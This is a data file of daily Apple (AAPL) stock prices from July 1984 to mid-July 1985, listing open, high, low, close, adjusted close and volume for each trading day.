-1984-07-26,0.4776785671710968,0.4933035671710968,0.4732142984867096,0.4866071343421936,0.3864732086658478,35834400.0,AAPL -1984-07-27,0.4866071343421936,0.4910714328289032,0.4821428656578064,0.484375,0.38470029830932617,18485600.0,AAPL -1984-07-30,0.484375,0.4866071343421936,0.4508928656578064,0.4553571343421936,0.3616538643836975,31259200.0,AAPL -1984-07-31,0.4553571343421936,0.4620535671710968,0.4441964328289032,0.4553571343421936,0.3616538643836975,49907200.0,AAPL -1984-08-01,0.4553571343421936,0.4598214328289032,0.4330357015132904,0.4464285671710968,0.3545624911785126,71433600.0,AAPL -1984-08-02,0.4464285671710968,0.453125,0.4308035671710968,0.4308035671710968,0.3421529233455658,75919200.0,AAPL -1984-08-03,0.4308035671710968,0.4910714328289032,0.4285714328289032,0.4888392984867096,0.3882460296154022,154515200.0,AAPL -1984-08-06,0.4888392984867096,0.5446428656578064,0.4866071343421936,0.5223214030265808,0.4148382544517517,156699200.0,AAPL -1984-08-07,0.5223214030265808,0.5357142686843872,0.4977678656578064,0.5290178656578064,0.4201566278934479,83120800.0,AAPL -1984-08-08,0.5290178656578064,0.5401785969734192,0.5044642686843872,0.5089285969734192,0.4042012393474579,73600800.0,AAPL -1984-08-09,0.5089285969734192,0.5357142686843872,0.4977678656578064,0.53125,0.4219294488430023,64405600.0,AAPL -1984-08-10,0.53125,0.5513392686843872,0.5066964030265808,0.5089285969734192,0.4042012393474579,99344000.0,AAPL -1984-08-13,0.5089285969734192,0.5401785969734192,0.5022321343421936,0.5357142686843872,0.4254750907421112,60362400.0,AAPL -1984-08-14,0.5357142686843872,0.5401785969734192,0.5089285969734192,0.515625,0.4095197916030884,43517600.0,AAPL -1984-08-15,0.5133928656578064,0.5133928656578064,0.4933035671710968,0.4977678656578064,0.39533722400665283,44721600.0,AAPL -1984-08-16,0.4977678656578064,0.5066964030265808,0.4910714328289032,0.5022321343421936,0.3988828659057617,36204000.0,AAPL -1984-08-17,0.5022321343421936,0.5044642686843872,0.484375,0.4910714328289032,0.39001888036727905,38483200.0,AAPL -1984-08-20,0.4910714328289032,0.4933035671710968,0.4754464328289032,0.4888392984867096,0.3882460296154022,34613600.0,AAPL -1984-08-21,0.4888392984867096,0.5133928656578064,0.4888392984867096,0.5089285969734192,0.4042012393474579,44884000.0,AAPL -1984-08-22,0.5089285969734192,0.5223214030265808,0.4955357015132904,0.5,0.39711010456085205,55104000.0,AAPL -1984-08-23,0.5,0.5111607313156128,0.5,0.5022321343421936,0.3988828659057617,20854400.0,AAPL -1984-08-24,0.5022321343421936,0.5089285969734192,0.4977678656578064,0.5022321343421936,0.3988828659057617,17724000.0,AAPL -1984-08-27,0.5022321343421936,0.5022321343421936,0.4888392984867096,0.4977678656578064,0.39533722400665283,21918400.0,AAPL -1984-08-28,0.4977678656578064,0.5044642686843872,0.4933035671710968,0.5044642686843872,0.40065574645996094,14789600.0,AAPL -1984-08-29,0.5044642686843872,0.5066964030265808,0.4866071343421936,0.4910714328289032,0.39001888036727905,18530400.0,AAPL -1984-08-30,0.4910714328289032,0.4977678656578064,0.4821428656578064,0.4821428656578064,0.38292765617370605,12740000.0,AAPL -1984-08-31,0.4821428656578064,0.484375,0.4665178656578064,0.4732142984867096,0.3758363425731659,34462400.0,AAPL -1984-09-04,0.4732142984867096,0.4776785671710968,0.4642857015132904,0.46875,0.3722907602787018,29960000.0,AAPL -1984-09-05,0.46875,0.4754464328289032,0.4642857015132904,0.46875,0.3722907602787018,25939200.0,AAPL -1984-09-06,0.46875,0.4799107015132904,0.46875,0.4732142984867096,0.3758363425731659,32743200.0,AAPL -1984-09-07,0.4732142984867096,0.4799107015132904,0.46875,0.4732142984867096,0.3758363425731659,20815200.0,AAPL -1984-09-10,0.4732142984867096,0.4754464328289032,0.4620535671710968,0.4709821343421936,0.37406352162361145,16156000.0,AAPL -1984-09-11,0.4754464328289032,0.4888392984867096,0.4754464328289032,0.4799107015132904,0.3811548054218292,38096800.0,AAPL -1984-09-12,0.4799107015132904,0.4821428656578064,0.4665178656578064,0.4665178656578064,0.3705179691314697,33280800.0,AAPL -1984-09-13,0.4910714328289032,0.4933035671710968,0.4910714328289032,0.4910714328289032,0.39001888036727905,51833600.0,AAPL -1984-09-14,0.4933035671710968,0.5089285969734192,0.4933035671710968,0.4977678656578064,0.39533722400665283,61717600.0,AAPL -1984-09-17,0.5111607313156128,0.5178571343421936,0.5111607313156128,0.5111607313156128,0.40597423911094666,48188000.0,AAPL -1984-09-18,0.5111607313156128,0.515625,0.4933035671710968,0.4933035671710968,0.39179161190986633,24326400.0,AAPL -1984-09-19,0.4933035671710968,0.4977678656578064,0.4821428656578064,0.4821428656578064,0.38292765617370605,26572000.0,AAPL -1984-09-20,0.484375,0.4888392984867096,0.484375,0.484375,0.38470029830932617,16542400.0,AAPL -1984-09-21,0.484375,0.4977678656578064,0.4732142984867096,0.4799107015132904,0.3811548054218292,24959200.0,AAPL -1984-09-24,0.4799107015132904,0.4821428656578064,0.4754464328289032,0.4754464328289032,0.37760916352272034,19751200.0,AAPL -1984-09-25,0.4732142984867096,0.4732142984867096,0.4665178656578064,0.4665178656578064,0.3705179691314697,41697600.0,AAPL -1984-09-26,0.4665178656578064,0.4866071343421936,0.4598214328289032,0.4598214328289032,0.3651994466781616,27742400.0,AAPL -1984-09-27,0.4598214328289032,0.4620535671710968,0.4598214328289032,0.4598214328289032,0.3651994466781616,26482400.0,AAPL -1984-09-28,0.4598214328289032,0.4598214328289032,0.4397321343421936,0.4486607015132904,0.35633549094200134,58352000.0,AAPL -1984-10-01,0.4464285671710968,0.4464285671710968,0.4375,0.4375,0.34747135639190674,24444000.0,AAPL -1984-10-02,0.4419642984867096,0.4575892984867096,0.4419642984867096,0.4419642984867096,0.35101693868637085,29562400.0,AAPL -1984-10-03,0.4486607015132904,0.4553571343421936,0.4486607015132904,0.4486607015132904,0.35633549094200134,30105600.0,AAPL -1984-10-04,0.453125,0.4575892984867096,0.453125,0.453125,0.35988089442253113,31371200.0,AAPL -1984-10-05,0.453125,0.453125,0.4419642984867096,0.4441964328289032,0.3527897894382477,24393600.0,AAPL -1984-10-08,0.4441964328289032,0.4464285671710968,0.4441964328289032,0.4441964328289032,0.3527897894382477,11743200.0,AAPL -1984-10-09,0.4441964328289032,0.4464285671710968,0.4397321343421936,0.4397321343421936,0.34924399852752686,31315200.0,AAPL -1984-10-10,0.4397321343421936,0.4397321343421936,0.4263392984867096,0.4263392984867096,0.3386072516441345,91212800.0,AAPL -1984-10-11,0.4263392984867096,0.4375,0.4241071343421936,0.4241071343421936,0.33683446049690247,45690400.0,AAPL -1984-10-12,0.4241071343421936,0.4263392984867096,0.4017857015132904,0.40625,0.3226518929004669,66449600.0,AAPL -1984-10-15,0.4285714328289032,0.4330357015132904,0.4285714328289032,0.4285714328289032,0.3403799831867218,60816000.0,AAPL -1984-10-16,0.4285714328289032,0.4308035671710968,0.4263392984867096,0.4263392984867096,0.3386072516441345,29506400.0,AAPL -1984-10-17,0.4441964328289032,0.4464285671710968,0.4441964328289032,0.4441964328289032,0.3527897894382477,39160800.0,AAPL -1984-10-18,0.4575892984867096,0.4598214328289032,0.4575892984867096,0.4575892984867096,0.3634265065193176,61790400.0,AAPL -1984-10-19,0.4575892984867096,0.4888392984867096,0.4553571343421936,0.4575892984867096,0.3634265065193176,81530400.0,AAPL -1984-10-22,0.4575892984867096,0.4642857015132904,0.453125,0.453125,0.35988089442253113,28688800.0,AAPL -1984-10-23,0.4642857015132904,0.46875,0.4642857015132904,0.4642857015132904,0.3687450587749481,46608800.0,AAPL -1984-10-24,0.46875,0.4732142984867096,0.46875,0.46875,0.3722907602787018,41753600.0,AAPL -1984-10-25,0.46875,0.46875,0.4508928656578064,0.4508928656578064,0.3581082224845886,39541600.0,AAPL -1984-10-26,0.4508928656578064,0.4508928656578064,0.4375,0.4397321343421936,0.34924399852752686,28711200.0,AAPL -1984-10-29,0.4419642984867096,0.4441964328289032,0.4419642984867096,0.4419642984867096,0.35101693868637085,12661600.0,AAPL -1984-10-30,0.4464285671710968,0.4508928656578064,0.4464285671710968,0.4464285671710968,0.3545624911785126,18648000.0,AAPL -1984-10-31,0.4464285671710968,0.4508928656578064,0.4441964328289032,0.4441964328289032,0.3527897894382477,15058400.0,AAPL -1984-11-01,0.4464285671710968,0.4508928656578064,0.4464285671710968,0.4464285671710968,0.3545624911785126,11760000.0,AAPL -1984-11-02,0.4464285671710968,0.4486607015132904,0.4419642984867096,0.4441964328289032,0.3527897894382477,6921600.0,AAPL -1984-11-05,0.4441964328289032,0.453125,0.4419642984867096,0.4419642984867096,0.35101693868637085,26342400.0,AAPL -1984-11-06,0.46875,0.4709821343421936,0.46875,0.46875,0.3722907602787018,56330400.0,AAPL -1984-11-07,0.46875,0.4709821343421936,0.4598214328289032,0.4598214328289032,0.3651994466781616,57887200.0,AAPL -1984-11-08,0.4598214328289032,0.4598214328289032,0.4419642984867096,0.4419642984867096,0.35101693868637085,22030400.0,AAPL -1984-11-09,0.4419642984867096,0.4441964328289032,0.4107142984867096,0.4151785671710968,0.3297431766986847,73533600.0,AAPL -1984-11-12,0.4308035671710968,0.4330357015132904,0.4308035671710968,0.4308035671710968,0.3421529233455658,28313600.0,AAPL -1984-11-13,0.4308035671710968,0.4397321343421936,0.4196428656578064,0.4196428656578064,0.3332887589931488,31668000.0,AAPL -1984-11-14,0.4241071343421936,0.4285714328289032,0.4241071343421936,0.4241071343421936,0.33683446049690247,26084800.0,AAPL -1984-11-15,0.4241071343421936,0.4285714328289032,0.4241071343421936,0.4241071343421936,0.33683446049690247,26650400.0,AAPL -1984-11-16,0.4241071343421936,0.4308035671710968,0.4129464328289032,0.4151785671710968,0.3297431766986847,41440000.0,AAPL -1984-11-19,0.4151785671710968,0.4174107015132904,0.390625,0.390625,0.31024226546287537,58245600.0,AAPL -1984-11-20,0.4040178656578064,0.40625,0.4040178656578064,0.4040178656578064,0.32087913155555725,65811200.0,AAPL -1984-11-21,0.4129464328289032,0.4151785671710968,0.4129464328289032,0.4129464328289032,0.32797035574913025,44682400.0,AAPL -1984-11-23,0.4174107015132904,0.4308035671710968,0.4174107015132904,0.4241071343421936,0.33683446049690247,34272000.0,AAPL -1984-11-26,0.4285714328289032,0.4285714328289032,0.4285714328289032,0.4285714328289032,0.3403799831867218,25160800.0,AAPL -1984-11-27,0.4397321343421936,0.4441964328289032,0.4397321343421936,0.4397321343421936,0.34924399852752686,31852800.0,AAPL -1984-11-28,0.4620535671710968,0.4732142984867096,0.4620535671710968,0.4620535671710968,0.3669722080230713,102631200.0,AAPL -1984-11-29,0.4620535671710968,0.4620535671710968,0.453125,0.453125,0.35988089442253113,43719200.0,AAPL -1984-11-30,0.453125,0.4575892984867096,0.4397321343421936,0.4419642984867096,0.35101693868637085,27176800.0,AAPL -1984-12-03,0.4419642984867096,0.4441964328289032,0.4352678656578064,0.4352678656578064,0.3456985056400299,24500000.0,AAPL -1984-12-04,0.4441964328289032,0.453125,0.4441964328289032,0.4441964328289032,0.3527897894382477,30094400.0,AAPL -1984-12-05,0.4665178656578064,0.4665178656578064,0.4665178656578064,0.4665178656578064,0.3705179691314697,65727200.0,AAPL -1984-12-06,0.4888392984867096,0.4910714328289032,0.4888392984867096,0.4888392984867096,0.3882460296154022,79318400.0,AAPL -1984-12-07,0.4888392984867096,0.5066964030265808,0.484375,0.4866071343421936,0.3864732086658478,123631200.0,AAPL -1984-12-10,0.4866071343421936,0.4866071343421936,0.4776785671710968,0.4776785671710968,0.37938192486763,27871200.0,AAPL -1984-12-11,0.4776785671710968,0.484375,0.4709821343421936,0.4709821343421936,0.37406352162361145,30945600.0,AAPL -1984-12-12,0.4709821343421936,0.4709821343421936,0.4553571343421936,0.4553571343421936,0.3616538643836975,27518400.0,AAPL -1984-12-13,0.4598214328289032,0.46875,0.4598214328289032,0.4598214328289032,0.3651994466781616,16710400.0,AAPL -1984-12-14,0.4598214328289032,0.4754464328289032,0.4598214328289032,0.4709821343421936,0.37406352162361145,24035200.0,AAPL -1984-12-17,0.4821428656578064,0.4866071343421936,0.4821428656578064,0.4821428656578064,0.38292765617370605,31309600.0,AAPL -1984-12-18,0.5111607313156128,0.5133928656578064,0.5111607313156128,0.5111607313156128,0.40597423911094666,85142400.0,AAPL -1984-12-19,0.5111607313156128,0.5133928656578064,0.4910714328289032,0.4910714328289032,0.39001888036727905,79374400.0,AAPL -1984-12-20,0.4910714328289032,0.5,0.4888392984867096,0.4888392984867096,0.3882460296154022,34960800.0,AAPL -1984-12-21,0.4888392984867096,0.4910714328289032,0.4776785671710968,0.4821428656578064,0.38292765617370605,30973600.0,AAPL -1984-12-24,0.4910714328289032,0.4933035671710968,0.4910714328289032,0.4910714328289032,0.39001888036727905,16884000.0,AAPL -1984-12-26,0.4933035671710968,0.4977678656578064,0.4933035671710968,0.4933035671710968,0.39179161190986633,16794400.0,AAPL -1984-12-27,0.4955357015132904,0.4977678656578064,0.4955357015132904,0.4955357015132904,0.3935643434524536,24690400.0,AAPL -1984-12-28,0.4955357015132904,0.515625,0.4933035671710968,0.5133928656578064,0.4077470302581787,41333600.0,AAPL -1984-12-31,0.5200892686843872,0.5223214030265808,0.5200892686843872,0.5200892686843872,0.4130654036998749,51940000.0,AAPL -1985-01-02,0.5200892686843872,0.5200892686843872,0.4977678656578064,0.4977678656578064,0.39533722400665283,43825600.0,AAPL -1985-01-03,0.5066964030265808,0.5200892686843872,0.5066964030265808,0.5066964030265808,0.402428537607193,41652800.0,AAPL -1985-01-04,0.5066964030265808,0.5089285969734192,0.5,0.5066964030265808,0.402428537607193,34316800.0,AAPL -1985-01-07,0.5066964030265808,0.5089285969734192,0.5044642686843872,0.5044642686843872,0.40065574645996094,42728000.0,AAPL -1985-01-08,0.5044642686843872,0.5089285969734192,0.5,0.5,0.39711010456085205,35280000.0,AAPL -1985-01-09,0.5133928656578064,0.5200892686843872,0.5133928656578064,0.5133928656578064,0.4077470302581787,41680800.0,AAPL -1985-01-10,0.5357142686843872,0.5379464030265808,0.5357142686843872,0.5357142686843872,0.4254750907421112,69266400.0,AAPL -1985-01-11,0.5357142686843872,0.5401785969734192,0.5267857313156128,0.53125,0.4219294488430023,51262400.0,AAPL -1985-01-14,0.546875,0.5513392686843872,0.546875,0.546875,0.43433907628059387,67608800.0,AAPL -1985-01-15,0.546875,0.5558035969734192,0.5357142686843872,0.5357142686843872,0.4254750907421112,66242400.0,AAPL -1985-01-16,0.5401785969734192,0.5491071343421936,0.5401785969734192,0.5401785969734192,0.42902064323425293,47471200.0,AAPL -1985-01-17,0.5401785969734192,0.5491071343421936,0.5022321343421936,0.5022321343421936,0.3988828659057617,136880800.0,AAPL -1985-01-18,0.5022321343421936,0.5223214030265808,0.5,0.5111607313156128,0.40597423911094666,88166400.0,AAPL -1985-01-21,0.5223214030265808,0.5267857313156128,0.5223214030265808,0.5223214030265808,0.4148382544517517,81356800.0,AAPL -1985-01-22,0.5379464030265808,0.5401785969734192,0.5379464030265808,0.5379464030265808,0.4272479712963104,106209600.0,AAPL -1985-01-23,0.5379464030265808,0.5401785969734192,0.5290178656578064,0.5290178656578064,0.4201566278934479,107626400.0,AAPL -1985-01-24,0.5290178656578064,0.5290178656578064,0.5178571343421936,0.5178571343421936,0.4112926721572876,99265600.0,AAPL -1985-01-25,0.5178571343421936,0.5290178656578064,0.5066964030265808,0.5290178656578064,0.4201566278934479,79615200.0,AAPL -1985-01-28,0.5401785969734192,0.546875,0.5401785969734192,0.5401785969734192,0.42902064323425293,103045600.0,AAPL -1985-01-29,0.5401785969734192,0.5446428656578064,0.5334821343421936,0.5334821343421936,0.42370226979255676,55932800.0,AAPL -1985-01-30,0.5334821343421936,0.5446428656578064,0.5334821343421936,0.5334821343421936,0.42370226979255676,123110400.0,AAPL -1985-01-31,0.5334821343421936,0.5357142686843872,0.5178571343421936,0.5178571343421936,0.4112926721572876,69059200.0,AAPL -1985-02-01,0.5178571343421936,0.5200892686843872,0.5066964030265808,0.5111607313156128,0.40597423911094666,34434400.0,AAPL -1985-02-04,0.5223214030265808,0.5245535969734192,0.5223214030265808,0.5223214030265808,0.4148382544517517,54504800.0,AAPL -1985-02-05,0.5267857313156128,0.5357142686843872,0.5267857313156128,0.5267857313156128,0.41838377714157104,47510400.0,AAPL -1985-02-06,0.5357142686843872,0.5357142686843872,0.5357142686843872,0.5357142686843872,0.4254750907421112,48608000.0,AAPL -1985-02-07,0.5357142686843872,0.5424107313156128,0.5334821343421936,0.5334821343421936,0.42370226979255676,61370400.0,AAPL -1985-02-08,0.5334821343421936,0.5357142686843872,0.5267857313156128,0.5334821343421936,0.42370226979255676,33006400.0,AAPL -1985-02-11,0.5446428656578064,0.5491071343421936,0.5446428656578064,0.5446428656578064,0.4325663149356842,86738400.0,AAPL -1985-02-12,0.5446428656578064,0.546875,0.53125,0.53125,0.4219294488430023,56627200.0,AAPL -1985-02-13,0.53125,0.53125,0.5066964030265808,0.5066964030265808,0.402428537607193,131756800.0,AAPL -1985-02-14,0.5066964030265808,0.5111607313156128,0.4933035671710968,0.4933035671710968,0.39179161190986633,106708000.0,AAPL -1985-02-15,0.4933035671710968,0.5022321343421936,0.4888392984867096,0.5,0.39711010456085205,43405600.0,AAPL -1985-02-19,0.4977678656578064,0.4977678656578064,0.4933035671710968,0.4933035671710968,0.39179161190986633,37458400.0,AAPL -1985-02-20,0.4933035671710968,0.4955357015132904,0.4709821343421936,0.4709821343421936,0.37406352162361145,54992000.0,AAPL -1985-02-21,0.4799107015132904,0.4821428656578064,0.4799107015132904,0.4799107015132904,0.3811548054218292,77056000.0,AAPL -1985-02-22,0.4799107015132904,0.4977678656578064,0.4799107015132904,0.4933035671710968,0.39179161190986633,56632800.0,AAPL -1985-02-25,0.4933035671710968,0.4955357015132904,0.4866071343421936,0.4866071343421936,0.3864732086658478,24634400.0,AAPL -1985-02-26,0.4866071343421936,0.4888392984867096,0.4776785671710968,0.4776785671710968,0.37938192486763,47241600.0,AAPL -1985-02-27,0.4776785671710968,0.4776785671710968,0.4486607015132904,0.4486607015132904,0.35633549094200134,100895200.0,AAPL -1985-02-28,0.4486607015132904,0.4486607015132904,0.4419642984867096,0.4419642984867096,0.35101693868637085,79766400.0,AAPL -1985-03-01,0.4419642984867096,0.4441964328289032,0.4285714328289032,0.4441964328289032,0.3527897894382477,61857600.0,AAPL -1985-03-04,0.4508928656578064,0.4642857015132904,0.4508928656578064,0.4508928656578064,0.3581082224845886,38276000.0,AAPL -1985-03-05,0.4620535671710968,0.4620535671710968,0.4620535671710968,0.4620535671710968,0.3669722080230713,32692800.0,AAPL -1985-03-06,0.4620535671710968,0.4620535671710968,0.4397321343421936,0.4397321343421936,0.34924399852752686,48400800.0,AAPL -1985-03-07,0.4397321343421936,0.4419642984867096,0.3950892984867096,0.3950892984867096,0.31378787755966187,183495200.0,AAPL -1985-03-08,0.3950892984867096,0.3950892984867096,0.3705357015132904,0.3839285671710968,0.3049238324165344,118389600.0,AAPL -1985-03-11,0.3973214328289032,0.3995535671710968,0.3973214328289032,0.3973214328289032,0.3155606985092163,71500800.0,AAPL -1985-03-12,0.4107142984867096,0.4151785671710968,0.4107142984867096,0.4107142984867096,0.3261975944042206,54857600.0,AAPL -1985-03-13,0.4107142984867096,0.4107142984867096,0.3883928656578064,0.3883928656578064,0.3084695041179657,62781600.0,AAPL -1985-03-14,0.3883928656578064,0.390625,0.3883928656578064,0.3883928656578064,0.3084695041179657,60401600.0,AAPL -1985-03-15,0.3883928656578064,0.4129464328289032,0.3861607015132904,0.4040178656578064,0.32087913155555725,45354400.0,AAPL -1985-03-18,0.4084821343421936,0.4129464328289032,0.4084821343421936,0.4084821343421936,0.32442471385002136,31192000.0,AAPL -1985-03-19,0.4084821343421936,0.4129464328289032,0.3928571343421936,0.3928571343421936,0.3120151162147522,42862400.0,AAPL -1985-03-20,0.3973214328289032,0.4040178656578064,0.3973214328289032,0.3973214328289032,0.3155606985092163,101242400.0,AAPL -1985-03-21,0.4040178656578064,0.4107142984867096,0.4040178656578064,0.4040178656578064,0.32087913155555725,40616800.0,AAPL -1985-03-22,0.4040178656578064,0.4107142984867096,0.3973214328289032,0.3973214328289032,0.3155606985092163,20092800.0,AAPL -1985-03-25,0.3973214328289032,0.3973214328289032,0.3861607015132904,0.3861607015132904,0.3066966235637665,27490400.0,AAPL -1985-03-26,0.4017857015132904,0.4017857015132904,0.4017857015132904,0.4017857015132904,0.3191063106060028,30357600.0,AAPL -1985-03-27,0.4017857015132904,0.40625,0.390625,0.390625,0.31024226546287537,27837600.0,AAPL -1985-03-28,0.390625,0.3973214328289032,0.390625,0.390625,0.31024226546287537,32401600.0,AAPL -1985-03-29,0.390625,0.3973214328289032,0.390625,0.3950892984867096,0.31378787755966187,21795200.0,AAPL -1985-04-01,0.3950892984867096,0.4040178656578064,0.3861607015132904,0.3861607015132904,0.3066966235637665,28515200.0,AAPL -1985-04-02,0.3861607015132904,0.3883928656578064,0.375,0.375,0.2978326678276062,56856800.0,AAPL -1985-04-03,0.375,0.3772321343421936,0.375,0.375,0.2978326678276062,60664800.0,AAPL -1985-04-04,0.375,0.3772321343421936,0.3683035671710968,0.3727678656578064,0.2960597574710846,40465600.0,AAPL -1985-04-08,0.3727678656578064,0.375,0.3504464328289032,0.3504464328289032,0.2783316671848297,49683200.0,AAPL -1985-04-09,0.3504464328289032,0.3526785671710968,0.3504464328289032,0.3504464328289032,0.2783316671848297,65973600.0,AAPL -1985-04-10,0.375,0.3794642984867096,0.375,0.375,0.2978326678276062,56728000.0,AAPL -1985-04-11,0.3816964328289032,0.3928571343421936,0.3816964328289032,0.3816964328289032,0.30315104126930237,36668800.0,AAPL -1985-04-12,0.3816964328289032,0.3816964328289032,0.3705357015132904,0.3727678656578064,0.2960597574710846,18132800.0,AAPL -1985-04-15,0.3816964328289032,0.3861607015132904,0.3816964328289032,0.3816964328289032,0.30315104126930237,14957600.0,AAPL -1985-04-16,0.3861607015132904,0.3883928656578064,0.3861607015132904,0.3861607015132904,0.3066966235637665,16912000.0,AAPL -1985-04-17,0.4040178656578064,0.4084821343421936,0.4040178656578064,0.4040178656578064,0.32087913155555725,30811200.0,AAPL -1985-04-18,0.4084821343421936,0.4107142984867096,0.4084821343421936,0.4084821343421936,0.32442471385002136,50607200.0,AAPL -1985-04-19,0.4084821343421936,0.4084821343421936,0.3995535671710968,0.4017857015132904,0.3191063106060028,24007200.0,AAPL -1985-04-22,0.4017857015132904,0.4017857015132904,0.3861607015132904,0.3861607015132904,0.3066966235637665,25648000.0,AAPL -1985-04-23,0.3950892984867096,0.3973214328289032,0.3950892984867096,0.3950892984867096,0.31378787755966187,29573600.0,AAPL -1985-04-24,0.3950892984867096,0.4017857015132904,0.3928571343421936,0.3928571343421936,0.3120151162147522,19734400.0,AAPL -1985-04-25,0.3928571343421936,0.3950892984867096,0.3928571343421936,0.3928571343421936,0.3120151162147522,21907200.0,AAPL -1985-04-26,0.3928571343421936,0.4040178656578064,0.390625,0.390625,0.31024226546287537,29926400.0,AAPL -1985-04-29,0.390625,0.3928571343421936,0.3772321343421936,0.3772321343421936,0.2996053695678711,15551200.0,AAPL -1985-04-30,0.3794642984867096,0.3816964328289032,0.3794642984867096,0.3794642984867096,0.3013782501220703,23682400.0,AAPL -1985-05-01,0.3794642984867096,0.3816964328289032,0.3727678656578064,0.3727678656578064,0.2960597574710846,14336000.0,AAPL -1985-05-02,0.3683035671710968,0.3683035671710968,0.34375,0.34375,0.2730131149291992,82443200.0,AAPL -1985-05-03,0.34375,0.359375,0.34375,0.3571428656578064,0.28365007042884827,39530400.0,AAPL -1985-05-06,0.3571428656578064,0.3616071343421936,0.3526785671710968,0.3526785671710968,0.2801044285297394,14033600.0,AAPL -1985-05-07,0.3571428656578064,0.3571428656578064,0.3571428656578064,0.3571428656578064,0.28365007042884827,26902400.0,AAPL -1985-05-08,0.3549107015132904,0.3549107015132904,0.3549107015132904,0.3549107015132904,0.2818772792816162,36097600.0,AAPL -1985-05-09,0.3571428656578064,0.359375,0.3571428656578064,0.3571428656578064,0.28365007042884827,31768800.0,AAPL -1985-05-10,0.3571428656578064,0.3660714328289032,0.3571428656578064,0.3616071343421936,0.2871958017349243,34020000.0,AAPL -1985-05-13,0.3616071343421936,0.3638392984867096,0.3571428656578064,0.3571428656578064,0.28365007042884827,21806400.0,AAPL -1985-05-14,0.3571428656578064,0.359375,0.3526785671710968,0.3526785671710968,0.2801044285297394,30436000.0,AAPL -1985-05-15,0.3571428656578064,0.3638392984867096,0.3571428656578064,0.3571428656578064,0.28365007042884827,32608800.0,AAPL -1985-05-16,0.3816964328289032,0.3928571343421936,0.3816964328289032,0.3816964328289032,0.30315104126930237,57635200.0,AAPL -1985-05-17,0.3816964328289032,0.3950892984867096,0.3794642984867096,0.3883928656578064,0.3084695041179657,52964800.0,AAPL -1985-05-20,0.3883928656578064,0.3973214328289032,0.3816964328289032,0.3816964328289032,0.30315104126930237,49296800.0,AAPL -1985-05-21,0.3794642984867096,0.3794642984867096,0.3705357015132904,0.3705357015132904,0.29428690671920776,38136000.0,AAPL -1985-05-22,0.3705357015132904,0.3727678656578064,0.3683035671710968,0.3683035671710968,0.29251402616500854,30139200.0,AAPL -1985-05-23,0.3660714328289032,0.3660714328289032,0.3526785671710968,0.3526785671710968,0.2801044285297394,59791200.0,AAPL -1985-05-24,0.3526785671710968,0.3526785671710968,0.3236607015132904,0.3236607015132904,0.25705787539482117,147369600.0,AAPL -1985-05-28,0.3191964328289032,0.3191964328289032,0.3013392984867096,0.3013392984867096,0.23932971060276031,127741600.0,AAPL -1985-05-29,0.3058035671710968,0.3080357015132904,0.3058035671710968,0.3058035671710968,0.24287545680999756,61639200.0,AAPL -1985-05-30,0.3147321343421936,0.3191964328289032,0.3147321343421936,0.3147321343421936,0.249966561794281,78730400.0,AAPL -1985-05-31,0.3147321343421936,0.3214285671710968,0.3102678656578064,0.3102678656578064,0.2464209944009781,92355200.0,AAPL -1985-06-03,0.3035714328289032,0.3035714328289032,0.2857142984867096,0.2857142984867096,0.226920023560524,144004000.0,AAPL -1985-06-04,0.3080357015132904,0.3102678656578064,0.3080357015132904,0.3080357015132904,0.24464817345142365,100480800.0,AAPL -1985-06-05,0.3080357015132904,0.3169642984867096,0.3013392984867096,0.3013392984867096,0.23932971060276031,71601600.0,AAPL -1985-06-06,0.3035714328289032,0.3035714328289032,0.3035714328289032,0.3035714328289032,0.24110259115695953,67799200.0,AAPL -1985-06-07,0.3035714328289032,0.3035714328289032,0.2924107015132904,0.2924107015132904,0.23223842680454254,118809600.0,AAPL -1985-06-10,0.2924107015132904,0.2946428656578064,0.2879464328289032,0.2879464328289032,0.22869282960891724,79032800.0,AAPL -1985-06-11,0.2879464328289032,0.2946428656578064,0.2879464328289032,0.2879464328289032,0.22869282960891724,75180000.0,AAPL -1985-06-12,0.2879464328289032,0.2901785671710968,0.28125,0.28125,0.2233743518590927,61997600.0,AAPL -1985-06-13,0.28125,0.2834821343421936,0.265625,0.265625,0.21096472442150116,94880800.0,AAPL -1985-06-14,0.265625,0.28125,0.2633928656578064,0.2633928656578064,0.20919188857078552,141416800.0,AAPL -1985-06-17,0.265625,0.2678571343421936,0.265625,0.265625,0.21096472442150116,59085600.0,AAPL -1985-06-18,0.2723214328289032,0.2767857015132904,0.2723214328289032,0.2723214328289032,0.2162831574678421,66304000.0,AAPL -1985-06-19,0.2790178656578064,0.2834821343421936,0.2790178656578064,0.2790178656578064,0.22160156071186066,42996800.0,AAPL -1985-06-20,0.28125,0.28125,0.28125,0.28125,0.2233743518590927,47700800.0,AAPL -1985-06-21,0.2879464328289032,0.2946428656578064,0.2879464328289032,0.2879464328289032,0.22869282960891724,41535200.0,AAPL -1985-06-24,0.3080357015132904,0.3125,0.3080357015132904,0.3080357015132904,0.24464817345142365,51441600.0,AAPL -1985-06-25,0.3125,0.3191964328289032,0.3125,0.3125,0.24819375574588776,73477600.0,AAPL -1985-06-26,0.3236607015132904,0.3236607015132904,0.3236607015132904,0.3236607015132904,0.25705787539482117,33051200.0,AAPL -1985-06-27,0.328125,0.3303571343421936,0.328125,0.328125,0.26060351729393005,48115200.0,AAPL -1985-06-28,0.328125,0.3303571343421936,0.3214285671710968,0.3214285671710968,0.25528502464294434,33936000.0,AAPL -1985-07-01,0.3236607015132904,0.3258928656578064,0.3236607015132904,0.3236607015132904,0.25705787539482117,25860800.0,AAPL -1985-07-02,0.3236607015132904,0.3258928656578064,0.3080357015132904,0.3080357015132904,0.24464817345142365,19432000.0,AAPL -1985-07-03,0.3125,0.3125,0.3125,0.3125,0.24819375574588776,17124800.0,AAPL -1985-07-05,0.3147321343421936,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.249966561794281,9144800.0,AAPL -1985-07-08,0.3147321343421936,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.249966561794281,23055200.0,AAPL -1985-07-09,0.3147321343421936,0.3169642984867096,0.3147321343421936,0.3147321343421936,0.249966561794281,36976800.0,AAPL -1985-07-10,0.3214285671710968,0.3214285671710968,0.3214285671710968,0.3214285671710968,0.25528502464294434,26510400.0,AAPL -1985-07-11,0.3214285671710968,0.3236607015132904,0.3214285671710968,0.3214285671710968,0.25528502464294434,16223200.0,AAPL -1985-07-12,0.3214285671710968,0.3214285671710968,0.3191964328289032,0.3191964328289032,0.25351229310035706,11760000.0,AAPL -1985-07-15,0.3191964328289032,0.3258928656578064,0.3169642984867096,0.3169642984867096,0.251739501953125,19420800.0,AAPL -1985-07-16,0.3169642984867096,0.3191964328289032,0.3125,0.3125,0.24819375574588776,35840000.0,AAPL 